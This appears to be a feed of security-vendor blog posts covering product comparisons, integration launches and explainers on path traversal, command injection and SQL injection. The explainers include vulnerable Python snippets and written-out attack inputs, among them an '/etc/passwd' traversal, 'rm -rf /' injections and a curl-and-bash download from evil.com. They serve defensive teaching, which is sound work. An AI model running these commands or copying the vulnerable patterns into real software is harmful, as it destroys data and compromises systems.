Snyk: Rated 8.0, effective for detecting known vulnerabilities in open-source libraries but less advanced in identifying malicious packages.

Application Security Posture Management (ASPM)

What is it? ASPM is a framework for managing and improving the security posture of applications across their lifecycle.

Aikido Security: Scored 8.4, praised for its proactive approach to identifying and resolving security risks in application environments.
Snyk: Not enough data available to assess ASPM capabilities.

Cloud Security Posture Management (CSPM)

What is it? CSPM is a toolset for monitoring and securing cloud environments by identifying misconfigurations and compliance issues.

Monitors and secures cloud environments by identifying misconfigurations and compliance issues.
Aikido Security: Rated 7.4, integrates seamlessly into multi-cloud environments, providing clear misconfiguration insights. Aikido CSPM functionality was recently launched and a big facet of our roadmap.
Snyk: Not enough data is available to evaluate CSPM features. At this time, Snyk does not have CSPM functionality.

Vulnerability Scanner

What is it? A Vulnerability Scanner identifies and evaluates security vulnerabilities in systems and software.

Aikido Security: Rated 7.9, effective in pinpointing vulnerabilities with clear remediation guidance.
Snyk: Scored 8.1, valued for its extensive library of known vulnerabilities but criticized for frequent noise in results.

Verified Snyk vs Aikido customer testimonials:

Reviews from verified people that have used both Aikido and Snyk. If you want to hear how Aikido stacks up as a Snyk Alternative, read on below.

Aikido is an “effective and fair-priced solution”

Compared to well known competitors like Snyk, Aikido is much more affordable, more complete and most importantly much better at presenting the vulnerabilities that are actually reaching your systems. They use many popular open source libraries to scan your code, as well as propriatary ones, giving you a good mix

Aikido is “a cheaper Snyk Alternative”

We were looking for a cheaper alternative to Snyk and Aikido fills that role fantastically. Good software, easy UI and most important of all very easy to talk to with feedback.

Everything was really simple to set-up and onboarding of team members a breeze.

Hopefully, this synopsis of G2 user feedback helps to inform your search for an application security platform. If you are interested in testing Aikido, why not launch now?

Get your first scan results in 32 seconds with no credit card and no strings attached, you can even use demo data for extra security. If you want a more personalized walk-through, you can talk to a human or say “hi” on intercom. We respond in seconds 🤝

Launching Aikido for Cursor AI

Felix Garriau — Mon, 02 Dec 2024 14:16:41 +0000

Cursor AI has quickly become the hot AI code editor, rapidly gaining popularity with developers looking to write code faster and more efficiently. But while Cursor accelerates coding, how can devs trust that gen AI code is secure?

TL;DR: with Aikido x Cursor, devs can secure their code as it’s written generated.

If you’ve missed the hype so far, Cursor is an “AI Native” IDE built on VSCode. It operates in an increasingly crowded field of gen AI coding copilot startups, competing with Github Co-pilot, Cognition, Poolside, Magic, and Augment amongst others. Cursor was founded in 2022, but it wasn’t until mid-2024 that Cursor began its meteoric rise to the front of the Gen AI code race, around the same time that Cursor added Sonnet 3.5M as their default model...

Below is a snapshot from last week’s ‘The Pragmatic Engineer” by Gregely Orosz, the #1 tech newsletter on substack, covering IDEs with GenAI features:

While respondents are likely mostly early adopters, it is still pretty impressive to see Cursor as a new entrant capturing hearts & minds so quickly. It’s no surprise they’ve since raised $60m in Series A funding from Andreessen Horowitz, Thrive Capital, OpenAI, Jeff Dean, Noam Brown, and the founders of Stripe, GitHub, Ramp, Perplexity, and OpenAI, among others.

That’s why Aikido Security is excited to launch our new integration with Cursor AI. Aikido x Cursor brings real-time security into the Cursor IDE, helping developers write and generate secure code from the start—without breaking stride.

Secure your code as it's written generated.

How the Integration Works

Today you can integrate Aikido directly into your Cursor IDE. Aikido will scan your codebase for secrets, API keys and SAST code issues as you develop, whenever you open or save a file.

If any issues are detected, Aikido highlights them in the editor and displays issues in the Problems panel. When you hover over a detected SAST issue, additional tl;dr context about the problem is provided. In some instances, you can even fix issues with Cursor’s suggestions in chat (though its still rusty).

Detect Vulnerabilities Instantly Aikido scans code as it’s generated, identifying security vulnerabilities in real time. Clear, concise explanations ensure you know what the issue is and why it matters—no overcomplicated reports.
Fix Issues with One Click When a vulnerability is flagged, Cursor x Aikido can generate fix suggestions in one click. You can apply it directly from within Cursor’s interface, keeping your workflow uninterrupted.
Stay Focused Everything happens within the Cursor IDE. There’s no need to switch tools, run external scans, or juggle separate platforms. Aikido integrates seamlessly into the IDE, so you can focus on building while knowing your code is secure.

Why It Matters

There’s no doubting the impact Gen AI will have on engineering. AI code generators or co-pilots are not infallible. On one hand, gen AI can be used to increase security (more on this very soon!). On the other hand, they will also inevitably introduce vulnerabilities as well. We are all waiting for the day that AI can finish the nitty gritty. Today we are a step closer.

This integration allows developers to stay in the fast lane and build secure applications while leveraging the best of AI-driven tools while being assured the output is secure. Get security done. Get back to building.

Get Started

The Aikido integration is available now for Cursor users. Follow the steps below: Step 1. Head over to the Visual Studio Code Marketplace and follow the instructions on how to install an extension in Cursor.

Step 2. In Aikido, go to the Cursor IDE integration page and create your token.

Step 3. Check out the examples in our docs on the Visual Studio Marketplace to test whether everything works well.

Step 4. Get back to building.

Aikido joins the AWS Partner Network

Felix Garriau — Tue, 26 Nov 2024 13:40:37 +0000

Learn more about it here.

If you missed it, over the summer months launched our product on the AWS Marketplace with the promise to deliver the fastest “time-to-security” in the industry for new AWS users.

We’ve also officially joined the AWS Partner Network (APN) as a validated AWS partner.

This means we went through the AWS Foundational Technical Review (FTR). We are FTR-approved* and meet the well-architected best practices enforced by AWS, not to brag. ;)

Psst. You’ll soon be able to use Aikido to achieve FTR approval. We’re mapping Aikido functionality to the FTR security process, so you can get up, running, and co-selling with AWS fast. Interested? → sign up here and you’ll be the first to know when.

Beyond the snazzy partner badge, we’re excited to be an official AWS partner to unlock greater access to the AWS community. We can better serve cloud-native customers, cut-out unnecessary complexity in the customer journey, and expand our own Cloud Security Posture Management (CSPM) product for AWS Cloud users.

Why add Aikido to your AWS bill?

Aikido Security provides comprehensive code-to-cloud coverage, aligning well with AWS’s full-stack capabilities. This is especially valuable for AWS customers managing both application and cloud security on a unified platform.

The direct integration with AWS environments simplifies deployment, enabling Aikido to scan for vulnerabilities across AWS services like EC2, S3, Lambda, and more – enhancing security visibility within AWS and complementing cloud-native architecture. Aikido's AWS posture management is built on AWS Inspector. We can show you findings that can cause hackers to gain initial access to your cloud.

Further, Aikido’s built-in compliance checks align with major standards (SOC2, ISO 27001, NIS 2, HIPAA), making it easier for AWS clients to maintain compliance across AWS’s infrastructure, which is especially valuable for regulated industries.

Interested to check it out? Come find us on the AWS marketplace

Path Traversal in 2024 - The year unpacked

Felix Garriau — Sun, 24 Nov 2024 17:10:35 +0000

Path traversal, also known as directory traversal, occurs when a malicious user manipulates user-supplied data to gain unauthorized access to files and directories. Typically the attacker will be trying to access logs and credentials that are in different directories. Path traversal is not a new vulnerability and has been actively exploited since the 90s when web servers gained popularity, many relied on Common Gateway Interface (CGI) scripts to execute dynamic server-side content.

With such a long history, is path traversal still popular today? We conducted a study of both open-source and closed-source projects to gather data to see how common path traversal was in 2024 and if we are improving, Spoilers we aren’t.

Path traversal example

So how exactly does path traversal work? Let's look at a simple example.

In this simple application, a user is given a file to download via a variable in the URL.

There is some simple backend Python code handling the request.

import os  

def download_file(file):     
    base_directory = "/var/www/files"     
    file_path = os.path.join(base_directory, file)          

    if os.path.exists(file_path):         
        with open(file_path, 'rb') as f:             
             return f.read()    
    else:         
       return "File not found"

Now as the variable is supplied in the URL we can change it to something like this file=../../../../etc/passwd

Here the attacker is using the ../../ to traverse up the directory structure to the system root level and access the passed file potentially gaining access to sensitive information.

If you want to see how this method could be secured scroll down to bonus content.

In more complex scenarios involving multiple layers of directories or encoded characters (e.g., %2e%2e%2f), attackers can bypass basic filters and gain deeper access into the file system.

Path traversal by the numbers

2.7% of all vulnerabilities found in open-source projects in 2024 so far were path traversal
3.5% for closed-source projects!
An increase in the total number of path traversal vulnerabilities in open-source projects from 742 (2023) to an expected 1,000 (2024).
As a percentage of all vulnerabilities, path traversal is getting more common with a massive increase in closed-source projects of 85%

Path Traversal in 2024 and 2023

Our research focused on researching both open-source and closed-source projects to reveal how many had path traversal vulnerabilities hiding within.

Overall the number of path traversal vulnerabilities is lower than some others we have researched such as Command Injections, or SQL Injections. But considering that this vulnerability can be very dangerous and has well-documented solutions to prevent it, it is alarming to see the numbers as high as they are. It is even more alarming to see the trends for this vulnerability going in the wrong direction. f

Open Source Projects

In open-source projects, path traversal accounted for 2.6% of all reported vulnerabilities in 2023. This figure saw a slight increase in 2024, rising to 2.75%. While this increment may seem marginal at first glance, it underscores ongoing challenges in securing open-source software against even simple vulnerabilities.

Closed Source Projects

The most notable trend was observed in closed-source projects where path traversal incidents surged from 1.9% in 2023 to 3.5% in 2024—a substantial increase of 85% highlighting an alarming trend of this kind of vulnerability.

The bad news unfortunately doesn’t stop there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 742 in 2023 to 917 so far in 2024 (expected to reach 1,000)

Number of path traversal vulnerabilities in 2024 and 2023

Preventing Path Traversal

Preventing command injection vulnerabilities requires a multi-faceted approach:

Input Validation

Sanitize user inputs: Strip out or encode dangerous characters such as ../, ..\, ..%2f, or other variations.
Allowlist approach: Define a strict set of permissible inputs (e.g., file names or paths) and reject anything outside this list.

Restrict File Access

Use a chroot jail or sandbox: Limit the application’s file access to a restricted directory, ensuring it cannot traverse beyond the intended directory tree.
Set root directories: Define base directories and ensure all paths are relative to them. Use APIs or frameworks that enforce this, such as:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() in Java. os.path.realpath() and os.path.commonpath() in Python.

Secure File Access APIs

Use secure file access methods provided by modern libraries or frameworks:In Java, use Files.newInputStream() or Files.newBufferedReader() for safe file handling. In Python, ensure you validate file paths before accessing them.

Use Environment Restrictions

Set restrictive file system permissions:Ensure the application has only the minimum required privileges. Deny access to sensitive directories (e.g., /etc, /var, /usr, and user home directories).
Disable unnecessary features in web servers or frameworks (e.g., symbolic link following).

Automated Testing

Use tools like Aikido to scan your source code and application to discover these vulnerabilities.
Both SAST and DAST tools should be used together along with domain scanning and cloud security to ensure you have no hidden path traversal vulnerabilities.

Use an in-app firewall

One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands.

The road forward

Path traversal is a vulnerability that has been present since the beginning of web apps and while it is often quite simple, it can also be a very devastating exploit. This makes it so concerning that such a large percentage of projects are still struggling with such issues. While 3.5% does not seem like a high number, it is quite remarkable that the number is growing in popularity despite its clear continued and well-documented threat.

Path traversal isn’t a vulnerability that is going away but the good news is that there are clear ways we can find these vulnerabilities in our application and remediate any issues we find.

Bonus Content

Real-World Incidents

There have been several high-profile breaches or vulnerabilities in recent years that involved path traversal as either the primary point of entry or as part of a chain of vulnerability

Microsoft IIS Unicode Exploit (2001)

One of the earliest high-profile path traversal exploits targeting Microsoft IIS servers. Attackers used encoded paths to bypass validation mechanisms (e.g., using %c0%af to represent /). This allowed them to access and execute files outside the web root directory.

This enabled the deployment of malware and defacement of numerous websites.

Fortinet VPN Path Traversal (2019)

Fortinet's SSL VPN was found to have a directory traversal vulnerability (CVE-2018-13379). Attackers exploited this flaw to access sensitive system files, such as plaintext passwords for VPN users.

Thousands of VPN credentials were leaked online, exposing organizations to unauthorized access and further attacks.

Capital One Breach (2019)

What happened: While the primary cause was an SSRF vulnerability, the attacker also leveraged directory traversal in accessing AWS S3 bucket metadata. The attacker exploited misconfigurations to retrieve configuration files that should have been inaccessible.

This exposed personal data of 106 million credit card applicants.

Path Traversal in Kubernetes Dashboard (2020)

The Kubernetes Dashboard had a directory traversal flaw (CVE-2020-8563). Attackers exploited this to read sensitive files in the container, including secrets stored in /etc.

Command injection in 2024 unpacked

Felix Garriau — Fri, 22 Nov 2024 20:12:50 +0000

What is Command Injection?

Command injection is a vulnerability still very prevalent in web applications despite being less famous than its cousins SQL injection or Code injection. If you’re familiar with other injection vulnerabilities, you’ll recognize the common principle: untrusted user input is not properly validated, leading to the execution of arbitrary system commands. This flaw occurs when unvalidated input is passed to system-level functions. So how prominent is command injection actually? We looked at how common it is to see this vulnerability in the wild, *spoiler*, it is surprisingly common!

Example of Command Injection

Consider this example of command injection, let’s say you have an application where you can enter the name of a file hosted on a server. The application retrieves that file writing out its content. The code for which is below

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

The above code expects a user to insert a file name like file.txt , but instead a malicious user injects some code to run malicious commands.

For example Name of file: file.txt; rm -rf /

This input would first display the contents of file.txt and then execute the malicious rm -rfcommand, which will forcibly delete all the files in a directory.

The malicious user can do this because the application did not validate or sanitize the user's input making the application is susceptible to command injection.

If you would like a more comprehensive example see the bonus content at the bottom of this page.

Command Injection in Numbers: Our Research

7% of all vulnerabilities found in open-source projects in 2024 were command injection
5.8% for closed-source projects!
An increase in the total number of command injection vulnerabilities in open-source projects from 2,348 (2023) to an expected 2,600 (2024).
As a percentage of all vulnerabilities, Command injection is getting less popular: a decrease of 14.6% and 26.4% for open-source and closed-source projects respectively from 2023 to 2024

Our research focused on researching both open-source and closed-source projects to reveal how many had command injection vulnerabilities hiding within.

Overall the number of command injection vulnerabilities is very high with 7% of allvulnerabilities reported in open-source projects being command injection and 5.8% in closed-source projects. This is quite close to the number of SQL injection vulnerabilities found.

There is some good news to pull out of the data too, we are seeing a solid trend of these vulnerabilities reducing from 2023 to 2024. As a percentage of all vuleribilities we saw a reduction of 27% in closed-source projects and 14% in open-source. There are likely many factors contributing to this, one likely significant factor is that the FBI and CISA in 2024 pointed to command injection as a real threat and urged vendors to pay attention to it. According to the data, this warning was heard.

The good news unfortunately stops there. We are still seeing an increase in the overall number of vulnerabilities reported in open-source projects. The total number of injection vulnerabilities reported in open-source projects went from 2,348 in 2023 to 2,450 so far in 2024 (expected to reach 2,600)

How to Prevent Command Injection

Preventing command injection vulnerabilities requires a multi-faceted approach:

Server-side Input Validation

A common mistake some make is performing only clientside validation which can be bypassed by an attacker making a direct request.

import subprocess
# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # This should come from user, but is validated
if user_input in allowed_files:
subprocess.Popen(['ls', '-l', user_input])
else:
print("Invalid input!")

Avoid shell commands

Replace shell commands with language-native functions or libraries where possible. Below is an example of using read only mode to open a file and read the contexts within.

with open("file.txt", "r") as f:
print(f.read())

Automated Testing

Use tools like Aikido to scan your source code and application to discover these vulnerabilities.

Use an in-app firewall

One of the best defenses against injection attacks is an in-app firewall that is able to catch and block malicious commands.

Apply the Principle of Least Privilege

Configure applications and users to run with the minimum privileges necessary, reducing potential damage from exploitation.

The road forward

Command injection along with many injection vulnerabilities is a challenge, from a technology point of view, we have solved this, meaning there is no need to have this kind of vulnerability in your applications. With that in mind, the fact that we still see so many of these types of vulnerabilities means we can’t expect a quantum leap of improvement.

Command injection will continue to be a problem however because we did see a significant drop this year with large organizations putting a focus on this vulnerability, there is hope to think that command injection may become less prominent in the future if we continue to bring awareness to it.

Bonus Content

A History of Command Injection: Prominent Breaches

Command injection has been a persistent threat for a long time. In fact there was a significant command injection vulnerability that was present in bash from 1989 all the way to 2014. More recently in 2024 the importance of command injection was highlighted by the CISA and FBI showing it is still a big concern.

1. Early Days of Command Injection

First Known Usage: Command injection vulnerabilities emerged with the rise of multi-user computing systems in the 1970s and 1980s, allowing attackers to execute arbitrary commands via unsanitized inputs.
1980s and 1990s: The proliferation of web technologies led to increased exploitation of command injection, particularly through improperly secured CGI scripts.

2. Significant Breaches and Exploits

1998: The First Documented Web-based Command Injection Attack: A vulnerability in a widely used Perl-based CGI script was exploited, marking one of the first major web-based command injection incidents.
2010: Stuxnet Worm (Embedded Command Injection): Stuxnet utilized command injection to target industrial control systems, demonstrating the vulnerability's reach beyond traditional IT environments.

3. 2010s: Exploitation at Scale

2014: Shellshock Vulnerability: Shellshock (CVE-2014-6271) exploited Bash's command processing, affecting millions of systems worldwide.
2018: Cisco ASA VPN Exploit (CVE-2018-0101): A command injection vulnerability in Cisco's ASA software allowed remote code execution, compromising enterprise security.

4. 2020s: Modern Exploits and Trends

2020: Citrix ADC Gateway Exploit: Attackers exploited command injection vulnerabilities in Citrix systems, leading to significant data breaches.
2023: MOVEit Vulnerability (SQL and Command Injection): A command injection flaw in MOVEit Transfer software led to widespread data breaches across multiple organizations.

Realistic command injection vulnerability

The Vulnerable Code

Let's look at a slightly more complex example of command injection. Below is some code for a simple Python web application. It allows users to create a ZIP archive of specified files by sending a POST request to the /archive route.

from flask import Flask, request
import os

app = Flask(__name__)
@app.route('/archive', methods=['POST'])
def archive_files():

files = request.form.get('files')  # User provides file names to archive

archive_name = request.form.get('archive_name')  # User provides archive name

command = f"zip {archive_name}.zip {files}"  # Command built dynamically

os.system(command)  # Execute the system command

return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
app.run(debug=True)

How It Works

The user supplies:

files (e.g., file1.txt file2.txt) to specify which files to include in the archive.
archive_name to specify the name of the resulting zip archive.

The code constructs a shell command dynamically:

zip archive_name.zip file1.txt file2.txt
The os.system() function executes the command, allowing the user-provided inputs to dictate its behavior.

Exploitation

An attacker exploits this by injecting additional commands into the archive_name or files inputs.

Input Provided by the Attacker:

archive_name: my_archive; rm -rf /
files: file1.txt

The Resulting Command:

zip my_archive.zip file1.txt; rm -rf /

zip my_archive.zip file1.txt: Creates an archive as expected.
; rm -rf /: Deletes all files on the server by executing a separate destructive command.

A More Sophisticated Example

The attacker might exploit this to download malware or exfiltrate data:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Resulting Command:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

This command:

Creates an archive (zip archive.zip file1.txt).
Downloads malicious code (curl -o malware.sh http://evil.com/malware.sh).
Executes the malware (bash malware.sh).

Balancing Security: When to Leverage Open-Source Tools vs. Commercial Solutions

Felix Garriau — Fri, 15 Nov 2024 08:26:54 +0000

When deciding what approach to use for security tooling, it seems like there are two choices.

1. Sell your left kidney and buy the enterprise solution whose name is on the side of a Formula 1 car.

2. Pick the free open-source tool that swipes right on more false positives than a dating app during a lonely Friday night.

Like everything in security, there is more to unpack in reality. In this article I want to explore when open-source security tools should be used, when commercial tools are more effective, and if we can trust tools built from an open-source core.

Build vs Buy (the open-source cost trap)

As you grow your company, you will soon realize that the choice between open-source and commercial is more a choice between building tools or buying tools. Open-source provides a great starting point but they lack a lot of the features you need, dashboards, integrations, compliance reporting, remediation workflows, false positive filtering, and vulnerability prioritization, to name a few. So the idea that open-source is free simply isn’t true. This can be an advantage though, building as you go stretches out the initial investment and you can focus on features that are important to you. It means you aren’t relying on a vendor to deliver the feature they ‘promised’ they would deliver in Q3 2 years ago.

There are plenty of negatives to consider when building on top of open-source tools. Firstly not only will it take significant development time to build out these tools but it will also require continuous maintenance. Security tools can also block production when they are integrated into elements like CI/CD pipelines for example. This means when they fail or crash, they can cause losses in productivity with no support to help you get back online.

What about the buy option then? Firstly there is no ramp-up period, you get complete coverage right from the beginning which results in less security debt later on. You also don’t lose the opportunity cost of taking engineering teams off your core objectives to focus on building features for internal tools. In the fast-paced startup world, don’t underestimate the value of this.

Open-source vs commercial

https://infogram.com/table-chart-1h1749woeoq9l2z?live

Are commercial tools better at vulnerability discovery?

So far we have talked about all the tool's features without even asking possibly one of the most important questions. What will find more vulnerabilities? Generally speaking, the core functionality of open-source tools will often match their commercial counterparts in their ability to find vulnerabilities. Where commercial tools will pull ahead though is their ability to filter out false positives and prioritize their findings.

Think of it like this, you have two fishing boats an open-source boat and a commercial boat. Both use the same net and catch just as much volume as each other, but the commercial tool has a processing plant that throws away the trash, sorts the fish into sizes and throws away the fish we can’t eat. Both boats caught the same results but the open-source tool is missing the next stage of triage.

It is very often commercial tools that are built on open-source projects. For example, let's take Zen by Aikido, a full-featured in-app firewall that is designed to stop threats at runtime. So is it better at detecting run-time threats and stopping them than an open-source equivalent, not really, because it's based on an open-source project, AikidoZen. The value of the enterprise version is in its additional features like analysis, rule creation, deeper understanding of Your specific threats, and ease of deployment, all things you would need to build yourself if you used the open-source version in an enterprise. So open-source isn’t necessarily worse, it just is missing the next stage of triage.

Note: Benchmarking tools against vulnerabilities found can also be very tricky. A great security tool might find fewer vulnerabilities because it is better at removing false positives based on context. Therefore the better tool isn’t always the one that finds the most, more often than not it's the opposite.

Powered by open-source built for enterprises

So open-source is too much development and the commercial is too expensive, how about a happy medium? Full-featured tools that use open-source at their core are not a new concept. Some of the most successful security products in the world use open source at their core like, Hashicorp Vault, Elastic Security, and Metaploit to name a few. There are many reasons why these tools do so well and it’s probably not for the reasons you think.

Cost-effectiveness

Open-source powered tools not only need to compete with alternative commercial tools, they also must compete with their open-source base. That means their value must be proven and transparent often resulting in a more cost-effective offering.

Power of the community

Often open-source tools are maintained and built by commercial companies, like Aikido Zen. Tools that are based on open-source are not just done so to reduce development time, but also because founders believe fundamentally in the power of open-source. Open-source tools are often faster at building features because they have a community behind them, it also means that if you have a specific and niche problem you can introduce it to the tool yourself.

Transparency

Often buying commercial tools can be a little like buying a car without seeing its engine. How good/reliable is it in the long term? It is easier to hide weaknesses when someone can’t peer into the engine. Open-source powered tools cannot hide their engine so it is easier to feel confident in the tool itself.

Commercial Features

As stated before, because an open-source-powered tool is often competing with both commercial alternatives and open-source tools it has to stand proudly behind its additional features. This will mean everything you expect from a commercial tool but often quite a bit more. Because the product benefits from a well-defined open-source base, attention can be spent on improvements which are ultimately passed onto the end user.

So what do I choose (final thoughts)

We have discussed the advantages of open-source, commercial, and open-source powered security tools. I think it is clear from my tone that as the author I love the open-source community and believe open-source-powered tools to be a compromise on price without a compromise on features. It is of course idiotic to say that there is no reason why in some scenarios where a pure commercial version is better. There are great innovative solutions out there that are entirely closed-source. But my ultimate point is that just because something is based on an open-source project, it doesn’t mean it will compromise in ability or features. And because it needs to prove its value in complete transparency, it often offers deeper features and value.

Aikido security was created by developers for developers to help get security done. We a proud of our open-source heritage and would love for you to come see it in action for yourself.

Get Started With Aikido Security For Free

The State of SQL Injections

Felix Garriau — Sat, 09 Nov 2024 14:53:30 +0000

SQL injection (SQLi) has a history that is older than Internet Explorer (which according to Gen Z was the start of civilization). There have been thousands of breaches caused by SQL injection and an endless amount of well-documented best practices and tools to help prevent it. So surely, surely we learned our lesson from these breaches and SQLi is no longer an issue.

We have been monitoring the amount of SQL injections discovered in open-source and closed-source projects to find out if we are in fact getting better and decided to give you a sneak peek into our up-and-coming State of Injection report for 2025.

Spoiler, turns out we are still terrible at preventing SQL injection.

What is SQL injection?

SQLi is a vulnerability that occurs when a program uses untrusted user input directly in a query to a SQL database. A malicious user can then insert his own code and manipulate the query allowing the malicious user to access private data, bypass authentication or delete data. The example below shows how an insecure SQL query for a user login page is vulnerable to an SQLi authentication bypass attack.

There are many different types of injection attacks like code injection or Cross Site Scripting (XSS). But SQLi specifically has played a prominent role in breaches for a very long time and comes as a shock to many that we still need to discuss this in 2024.

SQL History

Ever since we started talking about security in our applications we have talked about SQL injection. It was even featured at number 7 on the very first OWASP top 10 chart in 2003, in 2010 was included in the injection category and took the number 1 spot until 2021. One of the first large-scale attacks documented involving SQL injection was when the clothing company Guess was targeted resulting in the leak of credit card numbers. Since then SQL injection has been a regular guest among security headlines.

SQL injection by the numbers

Key Points

6.7% of all vulnerabilities found in open-source projects are SQLi
10% for closed-source projects
An increase in the total number of SQL injection in open-source projects (CVE that involve SQLi) from 2264 (2023) to 2400 (2024) is expected.
As a percentage of all vulnerabilities, SQL injection is getting less popular: a decrease of 14% and 17% for open-source and closed-source projects respectively from 2023 to 2024
Over 20% of closed source organizations scanned vulnerable to SQL injection when they start using
For organizations vulnerable to SQL injection, the average number of SQL injection sites is nearly 30 separate instances

We reviewed how many SQLi vulnerabilities were discovered in open-source packages in 2023 and so far in 2024. We then compared that to closed-source projects that have been discovered by Aikido Security customers. Unsurprisingly, we are still seeing shocking numbers of SQL injection in both closed and open-source projects. 6.7% of all vulnerabilities discovered in open-source projects in 2024 are SQL injection vulnerabilities while 10% of vulnerabilities discovered in closed-source projects were SQL injection vulnerabilities. This may not seem like a lot but it is frankly shocking that in 2024 we are still struggling to cope with some of the most basic vulnerabilities we know of.

The only good news we have is that this number is a 14% decrease from 2023 in open-source and a 17% reduction in closed-source projects as a percentage of all vulnerabilities found. However, the total number of SQLi found is expected in increase from 2264 in 2023 to over 2400 by the end of 2024 in open-source projects.

This data was gathered by looking at relevant CWEs in the GitHub advisory database from the data of Aikido’s Customers. Primarily CWE-89 and CWE-74.

Preventing SQL injection

Apparently, there isn’t enough information on the internet just yet on how to prevent SQL injection or we would be seeing these numbers as much less. Here are a few of the key points.

1. Use Prepared Statements and Parameterized Queries

In the example at the start of this Blog Post, we showed vulnerable code because it takes untrusted user input and uses it directly in a query. To avoid this we should use prepared statements which means defining your query first and then adding user input later. This means the database engineer interprets the SQL structure BEFORE adding the user input

import sqlite3

conn = sqlite3.connect('example.db')

cursor = conn.cursor()

user_id = 5 # Example safe input

# Safe query using parameterized query

cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

2. Server-side input/schema validation

Input validation is effective in preventing SQLi but ONLY on the server side. Client-side input validation, which prevents a user from using characters in an input field for example, is great for user experience but can be bypassed by attackers (through direct http requests for example) so does little to prevent SQL injection. For example, if your API expects a credit card number, it’s easy to add numeric validation.

3. Use SAST & DAST tools to discover SQLi

One of the most terrifying elements of SQLi is that it is easily discovered by adversaries often being described as a low-hanging fruit vulnerability. Part of this reason is because tools like DAST can automatically discover them. This can be used to our advantage and we can introduce these tools into our development process to catch them early.

Aikido has now launched their AI-powered SAST Autofix which can not just find SQLi vulnerabilities but suggest and verify code fixes!

4. Implement an in-app firewall

An in-app firewall monitors traffic and activity inside your application and can detect attacks including injection and SQLi. This is more effective than a traditional WAF as it sits inside your application and is able to tokenize expected queries and block requests that change the command structure of the query.

Shameless plug for Aikido’s new launch: Zen, the in-app firewall for peace of mind at runtime. Get Zen and it will automatically block critical injection attacks and zero-day threats in real-time, before they ever reach your database.

e5. Avoid Dynamic SQL Where Possible

Dynamic SQL generation through string concatenation is highly vulnerable to SQL injection. Whenever possible, stick to static, pre-defined queries and stored procedures that don’t rely on user-generated content for SQL structure.

6. Allowlisting and escaping

In some cases, you cannot avoid Dynamic SQL, such as when querying dynamic tables, or when you want to order by a user-defined column and direction. If those cases you have no other option than to rely on regular expression allowlisting or escaping. Escaping is taking user input that contains dangerous characters used in code like ‘>’ and turning them into a safe form. Ether by adding backslashes before them or transforming them into a symbol code. Note that this is different not only for each database type but can also depend on connection settings such as charset.

Will we ever see the end of SQLi

While there is some promise in the fact we have seen a somewhat significant decrease in the number SQLi vulnerabilities found it is still disheartening to see that a vulnerability that predates the game DOOM is still such a significant threat to the landscape. The truth is, I can’t see this getting much better. As we introduce more tools to help us code faster, developers are getting less in touch with the core coding principles and these AI tools are notoriously bad at suggesting vulnerable code with injection vulnerabilities included.

It is not all Doom and gloom (pun intended) though, we are seeing significant improvements in a new generation of SAST tools that are far more effective at discovering and fixing these vulnerabilities has the ability to drastically change the threat landscape.

That’s all for now folks. Stay safe, and don’t forget to:

Discover and automatically fix SQL injection with Aikido AI SAST Autofix
Checkout Zen and prevent injection attacks as they happen

Check out Injection Attacks 101 to get the an introduction to SQL injections, code injections, and XSS

Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard

Felix Garriau — Wed, 06 Nov 2024 10:19:07 +0000

Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard

https://vimeo.com/1026556811?share=copy#t=0

"Aikido helps us catch the blind spots in our security that we couldn’t fully address with our existing tools. It’s been a game-changer for us beyond just the SCA (Software Composition Analysis) solutions we originally brought them in for."

A little while ago, we shared that Visma chose Aikido Security for its portfolio companies. Recently, we had the pleasure of having Nicolai Brogaard, Service Owner of SAST & SCA over in our Belgian headquarters.

Nikolai’s part of the security testing team at Visma, a large conglomerate with 180 portfolio companies. Visma is serious about security—it's something they focus on across the board. With 15,000 employees (6,000 of whom are developers) and a dedicated security team of 100 people, security is at the core of their operations.

These are his thoughts on the evolving security landscape, and the role Aikido plays in it.

Why Aikido?

At Visma, we’ve thought about building our own security tools, but we realized pretty quickly it wasn’t the best use of our resources. That’s where Aikido came in. They filled in the gaps that our existing tools, especially SAST (Static Application Security Testing), didn’t cover. With Aikido, we didn’t have to stretch ourselves thin developing tools from scratch.

Regional Expertise Matters

Being based in the EU, it’s really important for us to work with vendors who understand the specific regulations we face—especially things like GDPR and data residency requirements. Aikido gets this. They know the ins and outs of EU regulations, which makes it much easier for us to comply with things like keeping data on national soil.

How We Evaluate Security Software

When we look at new vendors, we go by the 80/20 rule: If a solution fits the needs of 80% of our portfolio companies, it’s worth considering. Aikido nailed that for us. Beyond just SCA, they provide additional features, like addressing security blind spots and helping with CSPM (Cloud Security Posture Management). These added benefits really sealed the deal for us.

The Benefits of Aikido

Aikido hasn’t just enhanced our security posture—it’s also helped us uncover things we were missing with our previous tools. Initially, we brought them on for SCA, but we quickly realized they could do much more, especially in reducing the time and effort spent on dealing with false positives. Their auto-remediation feature is a huge time-saver for our teams. It cuts through the noise, so our developers can focus on what really matters.

Smooth Transition

Switching to Aikido was easy. At Visma, we have an internal security developer portal called Hubble, which makes onboarding new tools super straightforward. With Aikido, it was just a matter of integrating them into Hubble and giving our portfolio companies a gentle nudge to make the switch. Most companies transitioned quickly, and the rest follow over time as we track risk internally.

What Visma Loves About Aikido

The best thing about Aikido? They’re super proactive. We have a shared Slack channel with them, and they’re always quick to respond and solve any issues our teams run into. It’s great to feel like we’re more than just a customer—they really care about making sure we’re getting the most out of their product.

"Aikido isn’t just a vendor for us—they’re a true partner. Their responsiveness and dedication to helping us succeed make all the difference."

Key Highlights:

Filling Security Gaps: Aikido shines a light on the blind spots our other tools miss.
Time-Saving Automation: The auto-remediation feature cuts down on noise, letting our developers focus on real issues.
Simple Onboarding: With Visma’s internal portal, getting companies on board with Aikido is a breeze.
Proactive Support: Aikido’s fast, responsive support via instant messaging platforms (like Slack) makes us feel like we’re in good hands.

Security in FinTech: Q&A with Dan Kindler, co-founder & CTO of Bound

Felix Garriau — Thu, 10 Oct 2024 12:10:28 +0000

